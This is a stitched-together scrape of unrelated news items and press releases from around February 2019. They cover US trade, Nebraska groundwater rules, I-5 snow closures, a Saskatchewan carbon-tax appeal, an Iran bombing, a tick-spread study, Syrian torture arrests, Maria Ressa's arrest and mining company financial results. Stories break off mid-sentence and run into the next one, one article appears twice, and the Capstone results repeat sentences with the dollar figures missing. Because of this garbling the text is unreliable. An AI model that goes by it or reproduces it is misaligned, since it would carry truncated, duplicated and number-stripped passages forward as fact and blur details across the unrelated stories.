Bling, a new womens clothing store at the mall, only has stores in Nebraska and Kansas at this time, but Director of Operations Sammy Grollmes says they still sell clothes around the country.

We have shipping orders that go out daily from our stores, Grollmes said. Thats been something that social media has helped us with, getting repeat customers that dont live close to our stores.The new NAFTA talks that she mentioned are the recently completed United States, Mexico, and Canada trade agreement that will replace NAFTA.

What concerns Vetter, whether it is the new USMCA agreement or ongoing trade talks with China and other trade issues, is how they will impact Americas competitive trade position worldwide.

She said 2018 was a pretty tough year for U.S. agriculture.

It was a pretty tumultuous year on the trade front overall, Vetter said. It is good that the NAFTA negotiations were completed, but honestly the outcome is pretty much the status quo for agriculture.

She said while the U.S., Canada and Mexico have been renegotiating the new USMCA agreement, what has come out of those negotiations is almost identical to what we had before. But in the meantime, we sent a signal to our Mexican and Canadian partners that we are not as reliable as we were before.

Vetters job in the Obama administration was to negotiate the Trans-Pacific Partnership between the U.S. and 11 other Asian countries. When President Trump was elected, he pulled the U.S. out of the agreement with the decision to negotiate with each of the nations individually.HOLDREGE  Some farmers in Anderson Township northeast of Funk now must follow additional rules under the Tri-Basin Natural Resources Districts groundwater quality management requirements.

Following a public hearing at its meeting Tuesday, the Tri-Basin board approved designating an area of the township for Phase Two rules.

The designation was made because groundwater nitrate levels in wells sampled by the NRD have exceeded 9 parts per million for three years. The U.S. Environmental Protection Agency lists 10 ppm as the maximum safe drinking water level.

The average in that area actually is around 17 ppm, Tri-Basin General Manager John Thorburn told the Kearney Hub.

New requirements for the Anderson Township farmers in the designated area include attending a fertilizer management education class and submitting to the NRD results from annual water samples taken in the summer and soil samples collected after crop season.

Thorburn said many farmers already are doing such sampling so they know how much nitrogen remains in the soil before planning applications for the next crop year.The following real-estate transfers from May 10 to June 7 were compiled from deeds recorded at the Buffalo County Register of Deeds Office. AdREDDING, Cal. -- Northbound I-5 is closed 10 miles north of Redding at Fawndale Road at Exit 689 in Shasta County due to severe winter weather conditions.

On southbound I-5, big rigs are being turned around 26 miles south of Yreka at Edgewood at Exit 751 in Siskiyou County due to severe winter weather conditions.

We'll continue to update you on road conditions in Oregon and California as the night continues.

CLICK HERE to get the latest road conditions in Northern California.

CLICK HERE to get the latest road conditions in Southern Oregon.ASHLAND, Ore. --

UPDATE: I-5 is finally open in both directions between Siskiyou County and Redding, California.

Caltrans District 2 announced that southbound I-5 would be open to metered traffic just north of Weed around 4 p.m. Shortly after 5 p.m., it announced that northbound metered traffic would be allowed at Fawndale, north of Redding.

NB 5 is open at this time to vehicle screening 10 miles north of Redding at Fawndale.  Caltrans District 2 (@CaltransD2) February 14, 2019

Southbound 5 is now open to vehicle metering at Edgewood, north of Weed in Siskiyou County. We are holding all vehicles for a little while. No chain controls in effect at this points.  Caltrans District 2 (@CaltransD2) February 14, 2019

(Updated 2/13/19 at 5:45 p.m.)

UPDATE: I-5 southbound is back open to commercial truck traffic from Ashland into California, ODOT reports. Drivers should expect congestion and delays traveling into California as trucks rejoin traffic.

There are currently no chain restrictions over the Siskiyou Summit, but drivers are advised to carry them.

(Updated 2/13/19 at 3:10 p.m.)

UPDATE: Road crews expect to have I-5 fully reopened from the Oregon border through Siskiyou County within about three hours, Caltrans District 2 revealed in a Tweet just before noon on Wednesday.

Meanwhile, the Shasta County Sheriff's Office declared a local emergency due to snow and winds that had caused "significant damage" in the area. The agency advised that people avoid traveling in the area unless absolutely necessary.

The area has been wracked by fallen trees, downed powerlines, and high winds with snow accumulations. More extreme weather is predicted for the area.

Latest Update on Reopening I-5 in Siskiyou County/Oregon Border - Caltrans Maintenance is working hard to reopen I-5 in approx 3 hours. We ask the traveling public for their patience. Do not rush to be in line for reopening. Please work with us as we solve this situation.  Caltrans District 2 (@CaltransD2) February 13, 2019

(Updated 2/13/19 at 12 p.m.)

UPDATE: In a Facebook post issued just minutes ago, CHP cleared up some confusion regarding I-5 travel in Siskiyou County.

I-5 northbound is open from Yreka, with the advisory that travelers should carry chains.

I-5 south of Yreka is still closed to semi-trucks, but is open to other traffic.

I-5 south of Dunsmuir is still closed to all traffic.

(Updated 2/13/19 at 10:35 a.m.)

UPDATE: A hold on southbound I-5 traffic at Yreka has been removed, according to Oregon Department of Transportation (ODOT). With the exception of commercial traffic, all other vehicles are allowed to head south from Yreka.

ODOT reports that it is still holding all commercial traffic on southbound I-5 at Ashland Exit 11 at the request of Caltrans and California Highway Patrol (CHP).

(Updated 2/13/19 at 9:15 a.m.)

INITIAL REPORT: At California Highway Patrol's and Caltran's request, ODOT is holding all southbound I-5 commercial truck traffic at Ashland, Exit 11, due to heavy snow in the corridor south to Redding.

For all other vehicles, chains are required on all SB vehicles unless 4x4 or all wheel drive, unless towing. Expect winter driving conditions at higher elevations of Southern Oregon.

We will be updating this article with new information on road conditions and closures once we learn more.The report from the US Centers for Disease Control and Prevention specifically singled out e-cigarette giant Juul as a contributing factor to the escalating rates.Zei Uwadia has been on life support for more than 130 days but she is changing what life support looks like for her and future patients. (Children's Mercy Hospital)KCTV5.com is now with you on the go! Get the latest news updates and video, StormTrack5 weather forecast, weather radar, special investigative reports, sports headlines and much more from KCTV5 News.

>> Click/tap here to download our free mobile app. <<

Copyright 2019 KCTV (Meredith Corp.) All rights reserved.A man is behind bars after being arrested for tampering with food at Safeway stores across the state, including putting bleach on eggs, authorities announced Monday.If you are old enough to remember the hit comedy movie of 1980, Caddy Shack, then you will recall that a gopher infestation was threatening a golf course in Nebraska. The somewhat deranged groundskeeper was tasked with getting rid of the pest. His efforts at eradication include shooting, fPhoto: The Canadian Press Lawyer Mitch McAdam addresses the Saskatchewan Court of Appeal in Regina, Wednesday.

A lawyer for Saskatchewan's attorney general says the provincial government does not dispute climate change.

"This is not a case about whether climate change is real or not. The government of Saskatchewan is not made up of a bunch of climate change deniers," Mitch McAdam said Wednesday in his overview of the province's argument that a federally opposed carbon price is unconstitutional.

"The government recognizes that climate change is a serious issue that has to addressed and that effective measures are required to deal with greenhouse gas emissions.

"None of that is in dispute."

McAdam said the case before the Saskatchewan Court of Appeal is not about science, but rather about constitutional law and the division of power.

"Are provinces sovereign and autonomous within the areas of their jurisdiction under Section 92 of the Constitution Act, 1867," McAdam asked.

"Or under our Constitution can the federal government step in whenever it thinks provinces aren't ... exercising their jurisdiction appropriately and act for them. Because that's really what this case is about."

A panel of five judges is to listen to arguments from both the Saskatchewan and federal governments as well as from 16 interveners on both sides of the dispute.

Saskatchewan's lawyers are making their case first and are to be followed by the provinces of Ontario and New Brunswick, who also oppose a federal price on pollution. Other anti-tax interveners are also to speak.

On Thursday, Ottawa gets its turn as well as interveners from the pro-carbon-tax side.

Saskatchewan argues a federal levy is unconstitutional because it's not applied evenly in all jurisdictions. Provinces that already have their own carbon-pricing plan are not subject to the federal tax.

McAdam told court the federal Greenhouse Gas Pollution Pricing Act violates federalism regardless of whether Ottawa's carbon price is characterized as a tax or regulatory charge.

Saskatchewan should also not been seen as a "rogue" province that picks fights with Ottawa, he argued.

Ottawa says the Constitution gives it the power to impose a carbon price because climate change and greenhouse gas emissions are national concerns.

McAdam said evidence presented that speaks to efficiency of carbon pricing and risks of climate change is "irrelevant."

"The fact that climate change is a serious issue does not override the Constitution."Photo: Radio Farda

A suicide bombing targeting a bus carrying personnel of Iran's elite paramilitary Revolutionary Guard force killed at least 20 people and wounded 20 in the country's southeast, state media reported. An al-Qaida-linked Sunni extremist group operating across the border in Pakistan reportedly claimed the assault.

The bombing came on the same day a U.S.-led conference in Warsaw was to include discussions on what America describes as Iran's malign influence across the wider Mideast. It also comes two days after Iran marked the 40th anniversary of its 1979 Islamic Revolution and four decades of tense relations with the West.

The state-run IRNA news agency, citing what it described as an "informed source," reported the attack on the Guard in Iran's Sistan and Baluchistan province.

The province, which lies on a major opium trafficking route, has seen occasional clashes between Iranian forces and Baluch separatists, as well as drug traffickers.

The Guard is a major economic and military power in Iran, answerable only to the country's supreme leader, Ayatollah Ali Khamenei. It later issued a statement saying a vehicle loaded with explosives targeted a bus carrying border guards affiliated with its force.

While Iran has been enmeshed in the wars engulfing Syria and neighbouring Iraq, it largely has avoided the bloodshed plaguing the region. In 2009, more than 40 people, including six Guard commanders, were killed in a suicide attack by Sunni extremists in Sistan and Baluchistan province. Jundallah, a Sunni extremist group still active in the region on Iran's border with Pakistan, claimed responsibility for that attack.

More recently, another Sunni extremist group known as Jaish al-Adl linked to al-Qaida, kidnapped 11 Iranian border guards in October. Five later were returned to Iran and six remained held.

Both official and semi-official Iranian media outlets balmed Wednesday's bombing on Jaish al-Adl, or "Army of Justice," saying the group had claimed the attack.Photo: SilverStar Mountain Resort

It will be all about family togetherness at SilverStar Mountain Resort Monday.

The North Okanagan ski hill will be encouraging people to hit the slopes on Family Day with 50 per cent off Alpine day passes.

"We are extremely excited to be one of the only ski resorts across the province with such a great discount on Family Day," said Chantelle Deacon, media relations manager, SilverStar. "We are dedicated to providing families with the best ski experience possible, and this is another great opportunity for us to do just that."

This offer is for Canadian residents who can show a piece of valid ID.

SilverStar will also be hosting free kid's shows on Family Day.

"Don't miss our exciting Bubble Wonders Show and Kiki the Eco Elf, said Deacon.

The show takes place inside the National Training Centre Auditorium from 12:30 to 2:30 p.m.

For information on tickets and packages call 250-558-6083 or go online.Researchers predict spread of invasive long-horned ticks into North America

Wednesday, Feb. 13, 2019

From left, Ram Raghavan, spatial epidemiologist at Kansas State University, and Steve Barker, a leading expert on Australian ticks at the University of Queensland, examine field-collected long-horned ticks in Queensland, Australia. | Download this photo.





MANHATTAN  A recently invaded tick species known as the long-horned tick could establish itself in wide swathes of North America  if they are transported accidentally. This prediction was published in a new study in Nature's Scientific Reports by Ram Raghavan, assistant professor at the Kansas State University College of Veterinary Medicine, and his international team of collaborators.



"The long-horned tick is also known as the east Asian tick, in Australia as the bush tick and in New Zealand as the cattle tick," said Raghavan, a spatial epidemiologist. "This species of tick is native to Japan, China, Primorsky Krai region of eastern Russia and Korea; and it is well-established as an invasive species in Australia, New Zealand and on several Pacific Islands."



In some of these countries, Australia and New Zealand in particular, Raghavan said this tick is implicated in the transmission of theileriosis to cattle  costing several millions of dollars each year  and in other places they are known to transmit severe fever thrombocytopenia virus to humans.



Raghavan pointed out widespread concerns that the tick  Haemaphysalis longicornis  will successfully establish invasive populations in the U.S. and spread broadly from where it has been currently found.



"Our primary focus in this study was to predict where this tick could establish in North America, and to do that as robustly as possible considering all the caveats in spatial distribution modeling," Raghavan said. Data for modeling the potential spatial distribution for this tick species was provided by multiple institutions, collected from the species' native distribution range.



This tick species has an ability to reproduce without males and to spread to new places and establish under rather diverse climatic conditions.



"About 1983, H. longicornis had spread from northwestern New South Wales and/or southeastern Queensland across Australia to the coastal areas near Perth in Western Australia," said Steve Barker, parasitologist and a leading expert on Australian ticks at the University of Queensland.



"Such an invasion in the U.S. would carry a significant economic burden and potential human suffering, especially since this tick is capable of transmitting a variety of pathogens such as those cause Lyme disease and others," said Barker, who is one of 10 co-authors of the article, "Potential Spatial Distribution of the Newly Introduced Long-horned Tick, Haemaphysalis longicornis in North America." Among other collaborators are researchers from the Walter Reed Army Institutes of Research, University of Kansas and institutions in Japan, Australia and New Zealand.



Raghavan said the best-fitting spatial distribution models in his research had indicated a broad potential distribution for this species. The researchers' model accurately predicted all of the areas in which this invaded tick has already been found in the U.S.



"By our model, we have identified vast areas of North America, particularly the southeastern U.S., the West Coast and broad areas of the northwestern U.S., as well as central and southern Mexico, as climatically suitable for establishment of this species," Raghavan said.















College of Business Administration extends its accreditation with AACSB International

Wednesday, Feb. 13, 2019

MANHATTAN  AACSB International, or AACSB, has extended accreditation for Kansas State University's College of Business Administration in both business and accounting.



For more than a century, AACSB accreditation has been synonymous with the highest standards in business education and has been earned by only 5 percent of the world's schools offering business degrees at the bachelor's degree level or higher. Less than 23 percent of those schools hold supplemental AACSB accreditation for their accounting programs.



"AACSB congratulates Kansas State University on extending its accreditation," said Stephanie M. Bryant, executive vice president and chief accreditation officer of AACSB International. "The intense peer-review process confirms a school's continued focus on excellence in all areas, including teaching, research, curricula development and student learning. Kansas State University's dedication to delivering high-quality business education will create the next generation of great leaders."



Achieving accreditation is a process of rigorous internal focus, engagement with an AACSB-assigned mentor and peer-reviewed evaluation. During this multiyear path, the college focuses on developing and implementing a plan to align with AACSB's accreditation standards. These standards require excellence in areas relating to strategic management and innovation; student, faculty and staff as active participants; learning and teaching; and academic and professional engagement.



To achieve accounting accreditation, an institution must first earn AACSB business accreditation. Then, in addition to developing and implementing a mission-driven plan to satisfy the business accreditation quality standards, accounting accreditation requires the satisfaction of a supplemental set of standards specific to the discipline and profession of accounting. Once accreditation is achieved, each institution participates in a five-year continuous improvement peer review to maintain high quality and extend its accreditation.



"I am extremely proud of the work that has been done by our faculty and staff to extend our AACSB accreditation," said Kevin Gwinner, Edgerley family dean of the College of Business Administration. "The strategic planning initiative we have undergone in conjunction with the AACSB accreditation process ensures that we will continue to provide a clear path to success for our students, and reaffirms K-State's status as a world-class business education institution."



Through that accreditation and strategic planning process, the college has identified three themes to focus its efforts on over the next five years: reinventing student experiences, expanding external collaborations and strengthening the foundations for enterprise sustainability and growth.



Reinventing student experiences starts with a fundamental review and assessment of the classroom content the college delivers, along with the methods of delivery. The college will reallocate resources toward academic content and delivery methods that drive significant improvement in students' education and job preparation. This will include new interdisciplinary educational opportunities with other colleges, an emphasis on high-achieving students through a revamped honors student experience, the growth of internship experiences and a renewed emphasis on instilling a global mindset.



Expanding external collaborations will be achieved through building strong relationships with alumni and industry, providing research-based insights to impact business practice, and better communicating the college's capabilities and successes with key constituents. To this end, the college will support impactful faculty research and purposefully create opportunities for faculty, students and staff to have meaningful interactions with business executives.



Strengthening the foundations for enterprise sustainability and growth will focus on building a strong organizational culture. This includes improvements to new student recruitment, student retention, graduation rates and job placement; communicating the college's message utilizing new platforms and mechanisms; and securing sustaining financial resources.



"Congratulations to our College of Business Administration for this continued AACSB accreditation, recognizing through rigorous peer review our ongoing excellence in business education, external collaborations and organizational culture," said Charles Taber, provost and executive vice president of Kansas State University. "I would like to thank the faculty and staff in the College of Business Administration who work so hard to support student success and opportunity."





Photo: RCMP Police are looking for this man who allegedly committed financial frauds at two RBC locations in Nanaimo.

RCMP in Nanaimo are hoping the public can help them nab a fraud artist who has made off with tens of thousands of dollars.

Police are looking for a man who allegedly committed financial frauds at two RBC locations in Nanaimo and obtained almost $11,500 in currency on Dec. 11, 2018.

To date, the suspect has obtained approximately $70,000 in funds from RBC clients accounts throughout Quebec, the Lower Mainland and Vancouver Island.

Beginning in March 2018, the suspect was able to obtain identification from existing RBC clients and attended five different RBC locations throughout Quebec.

The same person is then alleged to have committed eight fraudulent transactions between Nov. 6-7, 2018 at RBC locations in Surrey and Langley.

The last reported incident involving the suspect male took place on Dec. 12 in Parksville where $8,000 was illegally obtained.

In the Nanaimo fraud, the suspect male was described as being Caucasian, 45-55 years of age, heavy set with dark hair, and was wearing glasses.

Anyone with information on the suspect is urged to call Nanaimo RCMP at 250-754-2345. To remain anonymous, contact CrimeStoppers or call 1-800-222-8477.Three alleged former Syrian secret service officers have been arrested in Germany and France on suspicion of participating in torture and crimes against humanity, prosecutors in both countries said Wednesday.

All three were arrested on Tuesday in a coordinated operation by German and French police, the federal prosecution in the German city of Karlsruhe said.

Anwar R., 56, and 42-year-old Eyad A. were detained in Berlin and Rhineland-Palatinate state, prosecutors said. Both left Syria in 2012.

The same day, another Syrian was detained in the Paris region for acts of torture, crimes against humanity and complicity in these crimes, the Paris prosecutors office said.

The suspect, who is in his 30s, is accused of participating in acts of violence against civilians from March 2011 until 2013 when he worked for Syrias mukhabarat, or secret service, a source familiar with the case said.

The Syria conflict began in March 2011 with a series of mass protests demanding civil liberties, prompting a harsh crackdown by the regime which quickly began using brutal force against anti-government protesters, German prosecutors said in a statement.

The Syrian secret services played an essential role in this. The aim was to use the intelligence services to stop the protest movement as early as possible.

Anwar R. allegedly led a secret service division that operated a prison in the Damascus area, and had participated in the torture and abuse of prisoners from April 2011 to September 2012.

As head of the investigative department, Anwar R. directed and commanded prison operations, including the use of systematic and brutal torture, it said.

 Torture, death in custody 

Eyad A., a former officer who had manned checkpoints and hunted protesters, had allegedly aided and abetted two killings and the physical abuse of some 2,000 people between July 2011 and January 2012.

In the summer of 2011, he manned a checkpoint near Damascus where around 100 people per day were arrested then jailed and tortured in the prison headed by Anwar R.

More than 360,000 people have been killed in the Syrian conflict with millions more displaced.

According to the Syrian Observatory for Human Rights, at least 60,000 people have died from torture or harsh conditions in regime custody since the conflict began.

Several other legal cases are now pending in Germany against the Assad regime.

Last year, German prosecutors issued an international arrest warrant for Jamil Hassan, a top Syrian official who headed the notorious airforce intelligence directorate and is accused of overseeing the torture and murder of hundreds of detainees.

Although the alleged abuses did not happen in Germany, the case has been filed under the legal principle of universal jurisdiction, which allows any country to pursue perpetrators regardless of where the crime was committed.

The Berlin-based European Center for Constitutional and Human Rights has also joined with torture survivors to file criminal complaints against 10 high-ranking Syrian officials, accusing them of crimes against humanity and war crimes.President Donald Trump said on Wednesday that Venezuelas leftist leader Nicolas Maduro is making a terrible mistake by blocking US humanitarian aid.

Trump said it was sad that the oil-rich Latin American country is in turmoil and said Washington has still not ruled out sending troops to the region.

We look at all options, he said.

Youll see, he said when asked if thousands of US troops could deploy.

Trump was meeting with Colombian President Ivan Duque at the White House to discuss the crisis in Venezuela.

Maduro accuses the United States of using the blocked aid shipments as part of a plot to overthrow his government.

But Duque, whose country has taken in large numbers of Venezuelan refugees, said obstructing the access of humanitarian aid is a crime against humanity.Germany has arrested two alleged former Syrian secret service officers accused of torture and crimes against humanity, prosecutors said Wednesday.

The men, 56-year-old Anwar R. and Eyad A., 42, were arrested on Tuesday in Berlin and Rhineland-Palatinate state. Both left Syria in 2012.

Also Tuesday, another Syrian believed to have worked for the secret service was arrested in France in what was a coordinated operation, the federal prosecution in Karlsruhe said.

From April 2011 at the latest, the Syrian regime started to suppress with brutal force all anti-government activities of the opposition nationwide, a prosecution statement said.

The Syrian secret services played an essential role in this. The aim was to use the intelligence services to stop the protest movement as early as possible.

Anwar R. had allegedly led a secret service division that operated a prison in the Damascus area, and had participated in the torture and abuse of prisoners from April 2011 to September 2012.

As head of the investigative department, Anwar R. directed and commanded prison operations, including the use of systematic and brutal torture, it said.

Eyad A., a former officer who had manned checkpoints and hunted protesters, had allegedly aided and abetted two killings and the physical abuse of some 2,000 people between July 2011 and January 2012.

In the summer of 2011, he manned a checkpoint near Damascus where around 100 people per day were arrested then jailed and tortured in the prison headed by Anwar R.

The conflict in Syria has killed more than 360,000 people and displaced millions since it began in 2011 with the brutal repression of anti-government protests.

Several other legal cases are now pending in Germany against the regime of President Bashar al-Assad.

Last year, German prosecutors issued an international arrest warrant for Jamil Hassan, a top Syrian official who headed the notorious airforce intelligence directorate and is accused of overseeing the torture and murder of hundreds of detainees.

Although the alleged abuses did not happen in Germany, the case has been filed under the legal principle of universal jurisdiction, which allows any country to pursue perpetrators regardless of where the crime was committed.

The Berlin-based European Center for Constitutional and Human Rights has also joined with torture survivors to file criminal complaints against 10 high-ranking Syrian officials, accusing them of crimes against humanity and war crimes.Philippine journalist Maria Ressa, whose news site has repeatedly clashed with President Rodrigo Duterte, was arrested in her Manila office on Wednesday in what press freedom advocates branded an act of persecution.

Her detention on a charge of cyber libel is a dramatic escalation in government pressure bearing down on Ressa and her website Rappler, which was already facing tax evasion charges that could shut it down.

It comes after Duterte has cracked down on high-profile critics in the press and legislature who dared criticise his signature anti-drug campaign that has killed thousands.

Shes been arrested and shes been read her rights, Rappler co-founder Beth Frondoso told AFP. Fingers crossed  well try to post bail tonight.

Ressa, who was named a Time Magazine Person of the Year in 2018 for her journalism, left the Rappler offices with plain clothes officers and surrounded by cameras.

The case is ridiculous and the fact that they issue an arrest warrant is a travesty of justice, Ressa told journalists after her arrest.

This is what journalists in the Philippines now have to go through, she added.

Authorities said she could be released as soon as bail was paid, but the process for that was unclear and she may spend the night in jail.

Rappler has drawn the administrations ire since publishing reports critical of Dutertes so-called war on drugs that critics say has targeted the poor and could amount to crimes against humanity.

 Forcibly silence critical media 

However, the new case against Ressa and former Rappler reporter Reynaldo Santos, Jr. stems from a 2012 report written about a businessmans alleged ties to a then-judge on the nations top court.

While investigators initially dismissed the businessmans 2017 complaint about the article, the case was subsequently forwarded to prosecutors for their consideration.

Philippine journalists immediately attacked the surprise serving of the warrant at Rappler headquarters.

The arrest of  Ressa on the clearly manipulated charge of cyberlibel is a shameless act of persecution by a bully government, said the National Union of Journalists of the Philippines.

The government  now proves it will go to ridiculous lengths to forcibly silence critical media, it added.

Amnesty International also swiftly condemned the arrest as brazenly politically motivated.

In a country where justice takes years to obtain, we see the charges against her being railroaded, the group said in a statement.

The Philippines tumbled six places last year in Reporters Without Borders rankings of press freedom to 133rd out of 180, with the body noting the government has pressured and silenced critics.

Duterte has lashed out at other critical media outfits, including the Philippine Daily Inquirer newspaper and broadcaster ABS-CBN.

He had threatened to go after their owners over alleged unpaid taxes or block the networks franchise renewal application.

Some of the drug crackdowns highest profile detractors have wound up behind bars, including Senator Leila de Lima, who was jailed on drug charges she insists were fabricated to silence her.

Ressa insists the site is not anti-Duterte, saying it is just doing its job to hold the government to account.

The law that forms the foundation of the case takes aim at various online offences, including computer fraud and hacking.

Presidential spokesman Salvador Panelo said the cases against Ressa had nothing to do with her work as a journalist.

This has nothing to do with freedom of expression or the press, he told broadcaster ABS-CBN. Regardless of who commits any crime, he or she will be charged in accordance with the law.

Justice secretary Menardo Guevarra told AFP Ressa could be released as soon as she pays a cash bail.

In the tax case, the government accuses Rappler Holdings Corp., Ressa and the sites accountant of failing to pay taxes on 2015 bond sales that it alleges netted gains of 162.5 million pesos ($3 million).

The Philippine justice system is notoriously overburdened and slow, with even minor cases taking years to be judged.

jm/cgm/fox

TIME INC.VANCOUVER, British Columbia, Feb. 12, 2019 (GLOBE NEWSWIRE) -- Canada Rare Earth Corp. (Canada Rare Earth or the Company) (TSX.V: LL) is pleased to announce that it has entered into a binding letter of intent (LOI) to acquire a property in South America that is a source of mineral sands containing saleable minerals including rare earths.

The property encompasses over 75 million metric tons of tailings which have been produced by an existing mining operation and which will be reprocessed to extract saleable minerals including rare earth elements; land on which the tailings are situated; and sufficient land to reprocess the tailings and to construct a 20,000 square foot building.

Consideration includes US$12 million payable over a ten-year period with a US$600,000 deposit at the time of closing the transaction. Consideration also includes providing technological advice to the vendor to upgrade existing mining operations.



Canada Rare Earth is arranging financing at a subsidiary company level, on a non-recourse basis, for the purchase of the property, for equipment to process the tailings, for construction of the building, and for working capital.

Closing of the transaction is scheduled for April 2, 2019 subject to a number of factors including the completion of due diligence to the satisfaction of Canada Rare Earth, preparing definitive agreements, and implicitly on raising financing on acceptable terms.

There can be no assurance that the results of due diligence will be positive, that reprocessing the tailings will be profitable, or that the financing can be arranged on acceptable terms.

On behalf of the Board

Tracy A. Moore, CEO and Peter Shearing, COO

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Forward-looking statements in this release are made pursuant to the safe harbour provisions of the Private Securities Litigation Reform act of 1995. Investors are cautioned that such forward-looking statements involve risks and uncertainties.

For more information on the Company, interested parties should review the Company's filings that are available at www.sedar.com.

FOR FURTHER INFORMATION PLEASE CONTACT:(All amounts in US$ unless otherwise specified)

VANCOUVER, Feb. 12, 2019 /CNW/ - Capstone Mining Corp. ("Capstone" or the "Company") (TSX:CS) announced its financial results for the three months and year ended December 31, 2018. Cash flow from operating activities for the quarter was $54.2 million or $0.14 per share and $131.1 million or $0.34 per share for the full year.

"Operational performance at our mines steadily improved as the year progressed, with increased production as well as reduced costs quarter-over-quarter," said Darren Pylot, President and CEO of Capstone. "We ended 2018 strong and are well positioned for a solid 2019."

Q4 2018 HIGHLIGHTS

Capstone achieved 2018 guidance from continuing operations with consolidated production of 155.2 million pounds of copper and C1 cash cost 1 of $1.83 per pound payable produced.

with consolidated production of 155.2 million pounds of copper and C1 cash cost of per pound payable produced. Q4 2018 copper production from continuing operations of 42.3 million pounds and C1 cash cost1 of $1.70 per payable pound produced. Q4 was the third consecutive quarterly performance improvement in 2018.

Capstone Mining Corp. 2018 Quarterly Copper Production and C1 Cash Cost

Operating cash flow before changes in working capital 1 of $19.1 million . A reduction in net debt during Q4 2018 of $20.2 million and a $15.0 million repayment on the Revolving Credit Facility ("RCF") for a total of $55.0 million in RCF repayments during 2018. Q4 2018 operating cash flow before changes in working capital 1 was impacted by lower sales volumes in Q4 2018 than Q3 2018.

A reduction in net debt during Q4 2018 of and a repayment on the Revolving Credit Facility ("RCF") for a total of in RCF repayments during 2018. Q4 2018 operating cash flow before changes in working capital was impacted by lower sales volumes in Q4 2018 than Q3 2018. Adjusted net income from continuing operations 1 of $7.9 million ( $0.02 per share) and net loss from continuing operations of $15.2 million ( ($0.04) per share). Net loss included non-recurring restructuring charges and non-cash deferred tax asset write-downs. Refer to the Alternative Performance Measures section in the Management's Discussion & Analysis for the year ended December 31, 2018 for details.

and net loss from continuing operations of ( per share). Net loss included non-recurring restructuring charges and non-cash deferred tax asset write-downs. Refer to the Alternative Performance Measures section in the Management's Discussion & Analysis for the year ended for details. Cozamin reserves increased by ~90% and targeting 30% increase in production by end of 2020.

Positive technical report with strong economics released for Santo Domingo and strategic process launched: NPV (after-tax) of $1.0 billion and IRR of 22%. Robust, permitted copper-iron oxide-gold project; shovel-ready by early-2020. Strategic process launched to optimize the ownership structure to align with Capstone's financing capabilities and maximize the value of the project for Capstone's shareholders.

Minto mine placed on temporary care and maintenance to preserve value while the Company continues to run a strategic sale process.

OPERATIONAL OVERVIEW

Q4 2018 Q4 2017 2018 2017 Copper Production (million pounds) Pinto Valley 33.0 35.6 119.0 126.4 Cozamin 9.3 9.4 36.2 36.9 Total from continuing operations 42.3 45.0 155.2 163.3 C1 Cash Cost1 ($/lb) Produced Pinto Valley 1.97 1.79 2.16 1.95 Cozamin 0.75 1.04 0.75 1.16 Consolidated from continuing operations 1.70 1.63 1.83 1.77

Consolidated copper production from continuing operations of 155.2 million pounds and C1 cash cost1 of $1.83 per pound produced for 2018 was in line with guidance.

Pinto Valley Mine

Pinto Valley's Q4 2018 production increased from the third quarter on planned higher throughput. Throughput improved due to increased stabilization of operations and reliability improvements in the crushing and milling circuits. Average grade of 0.34% during the quarter was in accordance with the mine plan.

Cozamin Mine

Cozamin's Q4 2018 copper production increased from the third quarter on higher throughput of 3,030 tonnes per day. Production from the San Rafael zinc zone ramped up to planned levels during Q3 2018, resulting in the highest quarterly zinc production in Q4 2018. Zinc production in 2018 totaled 15 million pounds.

FINANCIAL OVERVIEW

Please refer to the Company's financial statements, related notes and accompanying Management's Discussion and Analysis for a full review of its forth quarter and full year 2018 financial and operational results. This can be accessed by clicking on this link: Click Here.

Q4 2018 Q4 2017 2018 2017 2016 Revenue from continuing operations2 ($ millions) 98.0 126.5 415.9 430.4 374.6 Net (loss) income from continuing operations

($ millions) (15.2) 37.4 7.4 44.6 (223.9) Adjusted net income (loss) from continuing operations1 ($ millions) 7.9 11.2 31.5 (3.3) (0.5) Net income (loss) ($ millions) (39.0) 29.5 (23.6) 55.1 (197.4) Adjusted EBITDA1 from continuing operations

($ millions) 31.2 38.7 126.5 94.9 89.4 Cash flow from operating activities2 ($ millions) 54.2 44.8 131.1 112.5 125.3 Operating cash flow before changes in working capital1, 2 ($ millions) 19.1 38.2 100.4 129.7 156.9 Total assets ($ millions) 1,336.1 1,400.5 1,336.1 1,400.5 1,395.0 Net debt1 ($ millions) 150.1 158.7 150.1 158.7 198.6

2 In accordance with IFRS 5, Minto's results are excluded from revenue but included within cash flow amounts in both the current and comparative period.

OUTLOOK - 2019 PRODUCTION, COST AND CAPITAL GUIDANCE

In 2019, Capstone expects to produce between 145 million and 160 million pounds of copper at a C1 cash cost1 of between $1.80 and $2.00 per pound payable copper produced.

2019 Guidance Pinto Valley Cozamin Santo

Domingo Total Production and Cost Copper production (million pounds) 115  125 30  35 - 145 - 160 C1 Cash Cost1,2 $2.10 - $2.25 $0.90 - $1.05 - $1.80 - $2.00 Capital Expenditure ($ millions, rounded) Sustaining 26.5 29.0 - 55.5 Capitalized Stripping3 13.5 - - 13.5 Expansionary 6.0 4.0 10.54 20.5 Total Capital Expenditure 46.0 33.0 10.5 89.5 Exploration ($ millions, rounded) Brownfield5 - 6.0 - 6.0 Greenfield6 - - - 6.0 Total Exploration - 6.0 - 12.0

2 Per pound of payable copper produced, net of by-product credits and treatment and selling costs. 3 Capitalized stripping is included as an operating cost in the PV3 PFS; however, under IFRS accounting guidelines, stripping costs are capitalized when certain criteria are met. 4 On a 100% basis, the total is approximately $15 million; ownership is 70% Capstone and 30% KORES. 5 Brownfield exploration is capitalized. 6 Greenfield exploration is expensed.

CONFERENCE CALL AND WEBCAST DETAILS

Capstone will hold a conference call and webcast on Wednesday, February 13, 2019 at 11:30 a.m. Eastern time (8:30 a.m. Pacific time) to discuss these results; call-in details and information on associated slides are provided below. This release is not suitable on a standalone basis for readers unfamiliar with Capstone and should be read in conjunction with Capstone's consolidated financial statements and management's discussion and analysis ("MD&A") for the quarter ended December 31, 2018, which are available on Capstone's website at Click Here and on SEDAR, all of which have been reviewed and approved by Capstone's Board of Directors. An updated corporate presentation will also be available at Click Here.

Date: Wednesday, February 13, 2019 Time: 11:30 am Eastern Time (8:30 am Pacific Time) Dial in: North America: 1-888-390-0546, International: +416-764-8688 Webcast: Click Here Replay: North America: 1-888-390-0541, International: +416-764-8677 Replay Passcode: 521712#

The conference call replay will be available until Wednesday, February 20, 2019. The conference call audio file will be available on Capstone's website within 48 hours of the call at Click Here.

ABOUT CAPSTONE MINING CORP.

